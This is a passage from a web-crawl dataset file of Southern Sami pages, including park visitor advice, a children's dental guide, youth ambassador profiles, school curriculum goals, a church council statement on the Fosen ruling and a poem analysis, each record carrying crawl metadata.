0.9995038509368896}","num_words":44,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vaarjoeh jïh tjåenieh\nLïhkemes tjaangemesijjie Angsjön dellie bearkenh vaarremegaamegigujmie. Jis datne edtjh ajve baalkaj mietie vaedtsedh gosse buaradahke maahtah aaj vaarremegaamegigujmie vaedtsedh.\nEdtjh datne parhkese baalkaj bealesne vaedtsedh dellie buerebe jis steeblegh jallh tjaetsehkh åtnah. Eensi vaarjoeh sjïehteles. Jis obre dellie hijven jis ebrievaarjoeh åtnah. Giesien jïjnjh tjoejhkh. Dellie hijven jis gajpe jïh tjoejhkedaalhkesh meatan.\nVearelde\nGuktie datne maahtah daejredh dov leah eensi vaarjoeh meatan hijven jis datne goerehth magkeres vearelde dajvesne sjædta.\nJuoge ietjat rádnaj\nJuoge dáv bielev ietjat rádnaj Facebookan, Twitterin, Google+ ja mailajn.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.sverigesnationalparker.se:443\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/guossidimdiededibme\/vaarjoeh-jih-tjaenieh\/","date":"2022-12-05T14:50:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711017.45\/warc\/CC-MAIN-20221205132617-20221205162617-00582.warc.gz","language":"sma","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000030994415283}","num_words":86,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båantagaertene 1820\nDaate tjööke jaepien 1820 raejeste.\nBööremes tjoevkesem maam utnin, biejjien namhtah, lij dållesijjie tjöökesne. Daelvien lij tjööke dïhte tjïehtjele mij lij bækteme, jïh dellie dïhte sjïdti barkoetjïehtjelem aaj. Daennie gaertienisnie lij lijnevætnarimmie vihkeles baalhka. Guktie åadtjoeji ånnetji buerie tsiehkie tjoerin gellie ovmessie såarhth barkojne gïetedidh. Lissine juvrh jïh goernh sjïdtedidh dah skåajjesne berkin, göölin, vïjrin, sjïere vætnoeh vytnesjin jïh dej vaaroeh maarhnine doekin.","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/nolavonda.se\/sma\/baantagaertene-1820","date":"2022-12-09T03:36:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711376.47\/warc\/CC-MAIN-20221209011720-20221209041720-00712.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":63,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ryöjredimmie\nÅvtelen baeniedåakteren gåajkoe mïnnedh dle maahta daerpies daejredh mij edtja baeniedåakteren luvnie heannadidh. Baeniedåakteretæjmoen åvtelen dle maahta dïhte maana pryövedh njaelmiem geehpedh\/gaahpasjidh guelmiedahken åvtelen mearan ektesne baenide ryökneden. Soptsesh stovlen, laamhpan jïh dan ohtje ohtje guelmiedahken bïjre maam baeniedåaktere pråvka gosse baenide gïehtjede. Maahta sån naemhtie sjïdtedh baeniedåaktere tjuara joe voestes aejkien såålemehtedh.\nJearsoesvoete\nDaate voestes aejkien baeniedåakteren luvnie lea maadthvåarome guktie jearsoesvoetem maanan jïh baeniedåakteren gaskem sjædta.\nBaeniesåjhterh jïh baeniedåakterh sijhtieh gaajhkem darjodh guktie hijven domtese maanese sjædta. Dïhte maana dïhte åejviealmetje, jïh dïhte mij maanam dahkoe dåerede sæjhta vueptiestidh dah baeniehealsoebarkijh sijhtieh åvtemes maanine soptsestidh. Dah sijhtieh guhkiem maanine soptsestidh guktie jearsoesvoetem dej gaskem tsegkieh.\nJoekoen vihkeles dïhte gie maanam baeniedåakteren gåajkoe dåerede lea raeffeles jïh ij jïjtje bïllh. Ektesne maehteden åvtelen soptsestidh maam edtjeden baeniedåakteren luvnie darjodh guktie hijven maanese domtoe.\nMaanan baeniehealsoe\nDijjieh bïevnesh jïh bïhkedimmieh åadtjode guktie maanan baenide geehtedh. Dïhte byjjes baeniehealsoefaaleldahken dïedte lea bïhkedidh guktie edtjede dam buektiehtidh. Gihtjh jis maam angkeni baeniej bïjre funhterdh- gihtjh seamma maam. Bieljelh skïemtjelassi bïjre, daalhkesi bïjre jallh haesteme beapmoen bïjre. Daate vihkeles bïevnesh maanan baeniehealsoen bïjre.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.tkmidt.no\/tannvern\/forste-besok-pa-tannklinikk-sorsamisk","date":"2022-12-04T12:35:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710972.37\/warc\/CC-MAIN-20221204104311-20221204134311-00779.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":181,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Elle Rávdná Näkkäläjärvi jïh manne 19 jaepien båeries, jïh Guovdageaidnuste jïh Leammiste båatam. Leammisne, soemen bielesne manne båatsoefualhkan govlesovvem, jïh Guovdageaidnusne manne \"dalon\"-fualhkan govlesovvem, amma fuelhkie mij iktesth daesnie orre. Manne byjjenamme jïh skuvlem vaadtseme saemien byjresisnie, gusnie saemien lea jienebelåhkoengïele.\nManne Saemien jåarhkeskuvlem jïh båatsoeskuvlem vaadtseme. Mubpien jaepien lim låtnomelearohke USA:sne jïh gosse lim dan guhkede gåeteste, damtim man vihkeles Saepmie lea munnjien. Minngemes jaepien leam vaarjelimmesne orreme, jïh åådtjeme dååjredh guktie lea sijjesne årrodh gusnie manne lim aajnehke saemie. Mov barkosne Juhls sïlpesmïrresne Guovdageaidnusne leam guesside mijjen kultuvren bïjre soptsestamme. Dïhte mannem skreejrehti tsïegline ohtsedh.\nManne lyjhkem vuelkedh jïh orre almetjh råakedh, jïh aavodem abpe Nöörjem fealadidh. Tuhtjem vihkeles joekoen maanah jïh noerh Nöörjesne åadtjoeh vielie saemiej bïjre lïeredh. Kultuvre ræjhkoes jïh gellielaaketje jïh manne sïjhtem meatan årrodh dam vuesiehtidh. Aaj vïenhtem mijjieh åadtjobe jïjnjem lïeredh jïh lustes dååjresh åadtjodh. Manne gijhteles manne tsïegline veeljesovveme jïh aavodem daan jaapan.\nSåemies varke saetniesvoeth:\nMaam tuhtjh vihkielommes Nöörjen noerh saemiej bïjre daejrieh?\nSaemieh eah leah «ajve» gaptah, vuelie jïh bovtsh. Akte gellielaaketje kultuvre man bïjre maahta jïjnjem ïedtjije lïeredh.\nBööremes raerie juktie jïengem tsööpkedh?\nIktesth luste dagkerh bielienåake «icebreaker-stååkedimmieh». Jallh man åvteste ij aelkedh dejtie lustemes dååjresidie juekedh mejtie åtna?\nMaam 10 jaepine darjoeh?\n10 jaepine manne mån jïjnjem fealadamme, vielie veartenistie vuajneme, jïh dagke ööhpehtimmiem vaalteme goh lohkehtæjja jallh plearoeh. Dagke edtjem aaj 10-jaepiegaavnedimmiem tsïegledåehkine soejkesjidh?\nBööremes tv-raajroe(h)?\nGrey's Anatomy! Manne dam ååpsen gellien aejkien vuajneme. Men aaj tuhtjem The Handmaid's Tale jïh Good Trouble joekoen hijven.\nGie dov saemien åvteguvvie jïh man åvteste?\nManne Sofia Jannokem, Mari Boinem jïh Ella Mariem (Isák) tjarke gutnem. Dej lea jïjnje hijven musihke jïh leah veaksehks gujnh mah gæmhpoeh dan åvteste mij lea vihkeles dejtie.\nMaam saemien åahpetjidie datne buaresjh?\nLuhpie jiehtedh noere Áillohas? Manne vïenhtem manne reakasovvim 50 jaepieh fer seenhte, hehe. Men sïjhtem mån jiehtedh Sofia Jannok, manne dam tjarke gutnem!\nMïsse jeenjemes aavodh daan tsïeglejaepien\nManne aavodem barkedh jïh åahpenidh mov meatantsïegligujmie, fealadidh jïh Nöörjem vuejnedh, saemien kultuvren bïjre soptsestidh jïh jïjnjem ovmessie lïeredh. Jaa, raaktan gaajhkem!","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/elle-ravdna-nakkalajarvi-4\/","date":"2022-12-01T07:13:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710801.42\/warc\/CC-MAIN-20221201053355-20221201083355-00120.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":336,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanah gïeh lea gaektsie jaepieh jallh båarasåbpoe maahtah tjelmiegoerehtimmiem darjodh optikeren luvnie mij lea legitimeereme jallh tjelmiedåakteren luvnie. Jis maana klaasetjelmide daarpesje dle optikere maahta viehkiehtidh klaasetjelmiedåarjoem syökedh.\nNuerebe maanah remissem daarpesjieh tjelmiedåastoehtæmman desnie gusnie tjelmiedåaktere maahta goerehtidh mah daerpiesvoeth maana åtna. Dåarjoe lea jeenjemes 800 kr fïerhten jaepien. Sæjrosne 1177.se maahta vielie lohkedh tjelmieskïemtjelassi jïh klaasetjelmiedåarjoen bïjre maanide jïh noeride.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/glasogonbidrag-till-barn-och-unga---andra-sprak---vasterbotten\/","date":"2023-01-28T04:35:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499470.19\/warc\/CC-MAIN-20230128023233-20230128053233-00491.warc.gz","language":"sma","language_score":0.999994278,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999942779541016}","num_words":60,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie 2. daltesen mænngan\n- gellie laavlomestååkedimmieh, laavlomh jïh daanhtsoeh darjodh mah leah veedtjesovveme learohki lïhke musihkekultuvreste jïh kultuvreaerpeste\n- goerehtidhjïh eksperimenteeredh pulsine, jievkehtimmine, drïektine, melodijine, dynamihkine, harmonijine jïh hammojne daanhtsosne, gieline jïh tjoejehtimmesne instrumeentine\nGoerehtidh lea dååjredh jïh eksperimenteradidh, jïh maahta tjetskehkevoetem jïh onterdimmiem gorredidh. Goerehtidh maahta årrodh daajedh, ohtsedh, vueptiestidh, vïhtesjidh jallh kraanskodh. Såemies aejkien sæjhta årrodh ovmessie bielieh aktede aamhtesijstie goerehtidh akten ræhpas jïh laejhtehks digkiedimmien tjirrh. Goerehtidh maahta aaj årrodh teestadidh jallh pryövedh jïh barkoevuekieh, dorjesh jallh dalhketjh evalueradidh.\n- musihken maadthbiehkiejgujmie stååkedidh tjoejen jïh gïelen tjïrrh, möönsterh darjodh jïh möönsterh laavkedh aelhkie improvisasjovnide jïh komposisjovnide, aaj digitaale dïrregigujmie\n- dååjresidie ovmessie musihkales vuekijste buektedh soptsestallemen tjïrrh jïh tjiehpeles buektemevuekiej tjïrrh","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/kompetansemaal-og-vurdering\/kv197?lang=sma","date":"2023-01-31T00:00:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499831.97\/warc\/CC-MAIN-20230130232547-20230131022547-00036.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":116,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nGïele goh nuepie\nGïelen gellie dïrregh, juktie mijjieh maehtebe jiehtedh maam sïjhtebe. Juktie væjkalåbpoe gïeline sjïdtedh, tjoerebe jïjnjem lohkedh, tjaeledh jïh gaskesadtedh.\nSjangerhTTilleggsemne\nIktegisth gosse datne lohkeminie jïh tjaelieminie dellie hijven maam akt daejredh sjangeri bïjre. Sjangere-daajroe joekoen vihkeles dutnjien gosse edtjh tjaeledh, dan åvteste dellie maallem åadtjoeh guktie tjaeledh. Daennie teemesne lïerh guktie sjangerh jarkesieh jïh guktie orre sjangerh sjidtieh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:d6234d0f-c1c3-4a86-bb4c-1176c53ee780\/topic:2:19c69125-a123-45f6-bdea-f8d4299bb2e1\/","date":"2023-01-30T01:30:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499790.41\/warc\/CC-MAIN-20230130003215-20230130033215-00527.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":65,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Vanja Tørresdal jïh leam 20 jaepien båeries. Manne aktede onne voeneste båatam man nomme Praahke Trööndelagesne, sveerjen raasten lïhke. Desnie maana- jïh noereskuvlem veedtsim, men mov minngemes jaepien noereskuvlesne, jïh jåarhkeskuvlesne studijespesialiseradimmesne lim Rørosesne. Mænngan realfaagh lohkeme golme jaepieh lastoem åadtjoejim maam akt jeatjah darjodh, jeatjah nuepieh goerehtidh.\nManne båatsoefuelhkesne byjjenamme gusnie lïhke eatnamasse jielebe jïh eatnamistie jielebe. Dan gaavhtan iktesth vihkeles munnjien orreme mijjen kultuvren bïjre mubpide soptsestidh. Dan åvteste lastoem åadtjoejim syökedh saemien tsïegline sjïdtedh, dellie mov lea nuepie jïjtje vielie lïeredh dan saemien kultuvren bïjre, men aaj mubpide lïerehtidh.\nAstoeaejkien lyjhkem ålkone årrodh eatnamisnie, duedtine gïehtelidh, jïh aaj musihkine gïehtelidh, manne dovne laavloem jïh pianovem tjoejehtem.\nMov lea jienebh veanhtadimmieh daan jaapan goh tsïegle. Gaskem jeatjah aavodem lïeredh, jïh saemien kultuvren bïjre mubpide soptsestidh. Lissine aavodem fealadidh, jïh Nöörjen gellie sijjieh dååjredh. Aaj aavodem orre almetjigujmie åahpenidh.\nNjieljie varke gyhtjelassh:\n1. Maam 10 jaepine darjoeh?\nManne mån ööhpehtimmiem jïh aktem barkoem åådtjeme mïsse stoerre ïedtjem åtnam, jïh dagke aalkeme fuelhkiem tseegkedh. Manne gujht aaj jïjnjem dorjeme maam im gåessie gænnah lim veanhteme manne sijhtim darjodh. Gegkestem manne leam åådtjeme bïjre jarkan veartenisnie mïnnedh.\n2. Maam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nAajmoe tjiehtjielisnie dam muana. Jis numhtie sååjhtoe dellie dagke bååstede flöörtedem.\n3. Mah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nOnce Upon a Time, Orange is the new black, jïh dagke aalkam vuartasjidh Game Of Thrones.\n4. Maam saemien åahpetjidie datne buaresjh?\nIm naan sjïere buaresjh, men tuhtjem jienebh væjkeles artisth gååvnesieh, gaskem jeatjah Sofia Jannok, Felgen orkester jïh ISÁk.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/vanja-torresdal-2\/","date":"2023-01-28T00:34:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499468.22\/warc\/CC-MAIN-20230127231443-20230128021443-00540.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":256,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"General.WelcomeHeader\nGoltelh gïeledyjri vuelieh!\nKaanne datne mijjen gïeledyjrh vuejneme?\nDaesnie datne maahtah dej vuelide goltelidh! Såemies dejstie juvrijste vuelieh utnieh mah guhkien gååvnesamme men jeatjah Torbjörn Doj dorjeme. Dïhte lea dïhte mij juajka.\nJuhtieh sæjjan Baakoevijreme!\nMijjen spïelesne Baakoevijreme edtjh tjeakoes baakoeh gaavnedh. Dah leah ovmessie guhkie jïh maehtieh måedtien haaran gååvnesidh. Rikti smærrehke!\nDatne maahtah veeljedh gïelem, aamhtsem jïh man geerve dïhte edtja årrodh.\nManne leam hujnies, manne sïjhtem klaeriedidh. Mannasinnie sïjht klaeriedidh? Lea luste, OK?! \"Britt-Marie 2.0\"\nIkth lij gïermesje, gellieh åejjiejgujmie. Snjåajpelh dej njaelmiej sistie råasoejin. Dellie golme ninjah böötin, jïh gïermesjem bäjjese vaaran nollelin, gropten sijse. Jeehtin desnie gullie. Ninjah gïermesjem geereli...\nNov dån daajrah mijjen lea Vuerpie daesnie Polarbibblosne? Fïerhten asken gærjah, plaerieh jïh jeatjah lustes aath våarpoejibie. Fïerhten aamhtesem maam mijjese seedteme lea akte vuerpie. Dellie tjoerh måjhtajidh kontom daarpesjh jis sïjhth meatan årrodh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.polarbibblo.se\/sma-se\/","date":"2023-02-09T09:14:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764501555.34\/warc\/CC-MAIN-20230209081052-20230209111052-00327.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":139,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Svætnoe duedtiegærja er en lærebok på sørsamisk som viser hvordan man syr trinntrådbeltet til den sørsamiske kofta.\nFor elever i videregående opplæring. Boka kan også være til glede for andre som ønsker å lære å sy et sørsamisk tinnbelte og for alle som ønsker å styrke sitt sørsamiske morsmål.\nSvætnoe gærjetje edtja viehkievierhtine learoehkidie jåarhkeskuvlesne årrodh. Gærjetjisnie gellie guvvieh mah ovmessie svætnoeh vuesiehtidh, dovne dejpeli jih daelie. Mejtie daate gærjetje hijven dejtie gieh sijhtieh ietnien gieline lohkedh guktie ditnie-svætnoem gåaroddh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/samiskbibliotektjeneste.tromsfylke.no\/tag\/belter\/","date":"2023-02-04T12:20:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500126.0\/warc\/CC-MAIN-20230204110651-20230204140651-00119.warc.gz","language":"sma","language_score":0.9941180944,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9941180944442749}","num_words":80,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Felles uttalelse fra Samisk kirkeråd og Mellomkirkelig råd\nRull ned for sørsamisk versjon.\nSamisk kirkeråd og Mellomkirkelig råd for Den norske kirke er svært bekymret for at Høyesterettsdommen i Fosen-saken, etter mer enn 500 dager, fortsatt ikke har fått reelle konsekvenser. Regjeringen må umiddelbart komme med forslag til tiltak som retter opp uretten, og som gjenoppretter tilliten mellom den samiske befolkningen og staten.\nVi vil uttrykke vår støtte til ungdom fra Norske Samers Riksforbund - Nuorat, Natur og Ungdom og andre som kjemper for å verne om urfolks rettigheter. Sett i lys av arbeidet til Sannhets- og forsoningskommisjonen, fremstår den pågående konflikten mellom regjeringen og demonstrantene som historisk viktig.\nDemonstrantene står opp for verdier som er viktige for oss alle: At urfolks rettigheter ikke kan ofres for profitt eller for flertallets interesser og at rettsstatens prinsipper må respekteres. Urfolk fortsetter å betale prisen. Menneskerettighetsbruddene må ta slutt, og de som har forbrutt seg, må ta konsekvensene. Det er avgjørende for hele befolkningens tillit til rettsstaten og demokratiet at en dom i Høyesterett blir respektert og får konsekvenser.\nNå hviler det et stort ansvar på regjeringen for å handle med respekt og ydmykhet. Når ungdom som kjemper for rettferdighet og rettssikkerhet møtes med de reaksjonene vi nå ser, er vi bekymret for hva det gjør med deres framtidshåp og tillit til rettsstaten.\nRådene er samlet til felles møte i Bodø 2. mars 2023.\nSara Ellen Anne Eira Kristine Sandmæl\nLeder, Samisk kirkeråd Leder, Mellomkirkelig råd\nEktie lahtese Saemien gærhkoeraereste jïh Gaskegyrhkeles raereste\nSaemien gærhkoeraerie jïh Nöörjen gærhkoen Gaskegyrhkeles raerie tjarke tjoeperdieh ihke Jollemesreaktadåapmoe Fovsene-aamhtesisnie, vielie goh 500 biejjieh mænngan, annje ij leah tjïelke konsekvensh åådtjeme. Reerenasse tjuara dallatjinie raeriestimmiejgujmie båetedh råajvarimmiej bïjre mah ovreaktam staeriedieh, jïh leajhtadimmiem saemien årroji jïh staaten gaskem vihth orresistie tseegkieh.\nSijhtebe mijjen dåarjoem buektedh noeride Nöörjen Saemiej Rijhkesiebreste – Nuorat, Natur og Ungdom jïh jeatjebh mah gæmhpoeminie aalkoeåålmegi reaktah vaarjelidh. Tjoevkesisnie vuajneme Saetniesvoete- jïh liktemekommisjovnen barkoste, dïhte vigkie mij daelie juhtieminie reerenassen jïh demonstraanti gaskem histovrijes vihkeles vååjnoe.\nDemonstraanth aarvoeh dåarjoehtieh mah leah vihkeles gaajhkide mijjide: Aalkoeåålmegi reaktah eah maehtieh vierhtine åtnasovvedh dïenesten åvteste jallh jienebelåhkoen idtji åvteste, jïh tjuara reaktastaaten prinsihph seahkaridh. Aalkoeåålmegh jåerhkieh åasam maeksedh. Almetjereaktameadtoeh tjuerieh nåhkedh, jïh dah mah mïedtelamme tjuerieh konsekvenside vaeltedh. Daate dïhte eevre vihkielommes ihke gaajhkh årrojh edtjieh reaktastaatem jïh demokratijem leajhtadidh, dåapmoe Jollemesreaktesne seahkaramme sjædta jïh konsekvensh åådtje.\nDaelie reerenassen lea stoerre dïedte seahkarimmine jïh dåajmijesvoetine fearadidh. Gosse noerh mah rïektesvoeten jïh reaktajearsoesvoeten åvteste gæmhpoeminie dejtie reaksjovnide sijjen vööste åadtjoeh mejtie daelie vuejnebe, mijjieh tjoeperdibie mij dïhte dorje dej båetijen aejkien håhkojne jïh leajhtadimmine reaktastaatese.\nRaerieh leah ektie tjåanghkose Bådåddjosne tjåanghkenamme njoktjen 2.b. 2023.\nSara Ellen Anne Eira Kristine Sandmæl\nÅvtehke, Saemien gærhkoeraerie Åvtehke, Gaskegyrhkeles raerie\nOm rådene\nSamisk kirkeråd ble opprettet av Kirkemøtet 1992. Rådet skal fremme, verne og samordne samisk kirkeliv i Den norske kirke og ivareta urfolksspørsmål på vegne av Den norske kirke.\nMellomkirkelig råd er Den norske kirkes fagråd for økumenisk og internasjonalt samarbeid, og arbeider blant annet med de teologiske og sosialetiske sakene som Den norske kirke møter i det økumeniske arbeidet.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.kirken.no\/nb-NO\/om-kirken\/aktuelt\/%20det%20hviler%20et%20stort%20ansvar%20p%C3%A5%20regjeringen\/","date":"2023-03-30T15:37:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949331.26\/warc\/CC-MAIN-20230330132508-20230330162508-00140.warc.gz","language":"sma","language_score":0.8125157356,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.8125157356262207, \"nob_Latn_score\": 0.16596131026744843, \"sme_Latn_score\": 0.019969133660197258}","num_words":501,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.83,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse datne edtjh diktem\/tjihtesem analyseradidh dellie edtjh goerehtidh mij dikte jeahta jïh man åvteste dikte dam jeahta. Daesnie raerieh jïh vuesiehtimmie guktie datne maahtah dikte-analysem tjaeledh.\nAnalyse dikteste «Aellieh maaneme»\nMartha Jåma Sveerjesne reakasovvi jaepien 1926 jïh sealadi jaepien 2016. Dïhte lohkehtæjjine barki dovne Sveerjesne jïh Nöörjesne. Tjihtese Aellieh maaneme lea dennie gærjesne Åarjel-saemien 6. Govhtede gærja. Guktie tjihtesen nomme jeahta, sisvege lea maanan bïjre. Akte geerve almetje, mejtie tjidtjie jallh aehtjie, maanese soptseste. Tekste ånnetji vååjnoe goh rohkelasse tjidtjeste jallh aehtjeste.\nAELLIEH MAANEME\nAellieh maaneme\nman guhkiem gaatoeh.\nDov bovtsh gaarvanedtieh.\nGie vuajna\nmejtie dov aaltoe guadteme?\nIh vielie mijjen mievhkies\ngielem soptsesth.\nMijjen vuekieh dutnjien\nammes sjidtieh.\nMohte annje lea dålle\ngåetien aernesne buelieminie.\nAnnje gujht bovtse\njaevriebealan geadtan\ntjåanghkene.\nAnnje gujht maaneme\nbaalkam gaavnh.\nTjihtesen jïjtjehke maanese soptseste, jïh birrie aellieh maana \"man guhkiem gaatoeh\". Hammoe \"maaneme\" vuesehte dïhte geerve lïhke maanese, mejtie lægan slïekth\/boelve? Men maehtebe aaj lohkedh goh tjihtesen jïjtjehke gaajhkide saemien maanide soptseste. Jis numhtie lohkebe, dellie tekste rohkelassine sjædta båetije boelvide.\nTjihtese 17 viersh åtna. Ij naan rijmh gååvnesieh, men naan aejkien Jåma alliterasjovnem (baakoe-rijmem) nuhtjie: \"guhkiem gaatoeh\", \"mijjen mievhkes\" jïh \"gujht (...) gaavnh\". Tjihtese buerie gaaje dejstie baakojste åådtje. Naan baakoeh tjihtesisnie oktegh tjåadtjoeh aktene raajesinie: \"buelieminie\" jïh \"tjåanghkene\". Dah verbh leah vihkeles baakoeh. Dålle mij buelieminie jïh bovtse mij tjåanghkene guektien-gïerth ulmiem utnieh.\nBaakoen hammoe \"maaneme\" – mov maana – vuesehte dïhte geerve mij tjihtesisnie soptseste maanese maanine veadtaldahkesne. Men ij maana barre akte maana – dïhte lea aaj symbole saemiej båetije boelvide. Dan åvteste tjihtese saemiej båetijen tïjjen bïjre.\nTeksten guvvie-gïele saemien aarke-beajjetje jieliemasse veedtjeme: båatsoen-jieleme jïh saemien gïele vihkeles aamhtesh. Voestes tjihtesen jïjtjehke maanese jeahta: \"Aellieh (...)\/ man guhkiem gaatoeh,\" juktie \"dov bovtsh gaarvanetieh\". Mænngan gihtjie: \"Gie vuajna\/ mejtie dov aaltoe guadteme?\" Maana tjuara bovtsi luvnie årrodh, olles krievvie bårrenh jïh gaarvenh. Men maehtebe aaj jeatjh-laakan lohkedh: Jis eah båetije boelvh båatsoe-jielemen vuekieh lïerh, maehtieh aerpie-daajrojde åajaldehtedh. Mænngan tjaelije aaj jeahta: \"Mijjen vuekieh dutnjien\/ ammes sjidtieh\". Daate raajese-boelhke vuesehte man vihkeles saemien vuekieh vaarjelidh.\nJeatjah aamhtese mij tjihtesen jïjtjehke sæjhta vaarjelidh, lea gïele. Men ij maana \"vielie mijjen mïevhkes\/gïelem soptsesth\". Daate raajese vuesehte guktie gïelen bïjre damta jïh baakoeh \"mïevhkes gïele\" mijjese soptsestieh åarjel-saemien gïele lea hiejjies vierhtie åarjel-saemide. Voestes boelhkesne tjihtesistie naan nåake baakoeh nuhtjeme, vuesiehtimmien gaavhtan verbe (\"Aellieh\") imperatijvesne jïh verbh nyöjkeme-hammosne (\"Ih (...) soptsesth\"). Daate boelhke saemien kultuvren övtiedimmien bïjre soptseste, jïh vuesehte mejtie mijjieh saallh-geajnosne juhtieminie.\nLåhkadihtie raajeste mij orre jæjhta. Daesnie håhkoe tjihtesasse båata: \"Mohte annje lea dålle\/ gåetien aernesne\". Baakoe \"mohte\" vuesehte orre sisvege båata. Jïh dålle sjædta håhkoen symbole. Tjihtesen jïjtjehke håhkesje maana aaj sæjhta saemien vuekieh jåarhkedh, jïh dållem aernesne nastehtahta. Baalka jeatjah symbole mij aaj håhkoen 